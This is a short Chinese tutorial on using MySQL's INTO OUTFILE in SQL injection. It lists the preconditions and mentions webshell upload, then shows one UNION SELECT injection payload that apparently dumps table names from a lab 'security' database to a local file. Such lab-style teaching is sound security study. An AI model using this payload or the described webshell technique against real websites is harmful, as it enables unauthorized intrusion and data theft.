WEB安全--SQL注入--INTO OUTFILE

一、INTO OUTFILE 函数语法:

sql 复制代码
SELECT column1, column2,
INTO OUTFILE 'file_path'
FROM your_table
WHERE your_conditions;

使用此方式在SQL注入的过程中可以:

1、上传shell得到数据库的后端的操作权限

2、爆出数据库的信息

二、使用该函数的条件:

1、mysql操作者需要root权限
2、mysql的my.ini文件中的secure_file_priv参数值需要为空(默认为NULL,注意NULL不是空)
3、需要知道网站的物理路径

三、参考例子:

sql 复制代码
?id=-1')) union select 1,2,'group_concat(table_name)' 
into outfile 'D:/桌面desktop/abcd.txt' 
from information_schema.tables 
where table_schema='security'--+

这里是通过into outfile函数将表名导出到我的桌面,毕竟是模拟,所以服务器就是我的电脑所以也就相当于网站的物理路径了

相关推荐
z10_142 分钟前
动态住宅IP和静态住宅IP哪个更好
网络·tcp/ip·web安全
Fnetlink13 分钟前
多云架构时代:解码企业网络安全的全新基因
安全·web安全·架构
一路向北North1 小时前
网页版预编译SQL转换工具
前端·javascript·sql
百***17071 小时前
MySQL 常用 SQL 语句大全
数据库·sql·mysql
百***65951 小时前
mysql如何发现慢查询sql
数据库·sql·mysql
武子康2 小时前
Java-168 Neo4j CQL 实战:WHERE、DELETE/DETACH、SET、排序与分页
java·开发语言·数据库·python·sql·nosql·neo4j
std78794 小时前
核电站里,机器人当起“侦察兵”
运维·安全·机器人
饮长安千年月5 小时前
玄机-第八章 内存马分析-java02-shiro
数据库·安全·web安全·网络安全·应急响应
那我掉的头发算什么5 小时前
【javaEE】多线程——线程安全初阶☆☆☆
java·jvm·安全·java-ee·intellij-idea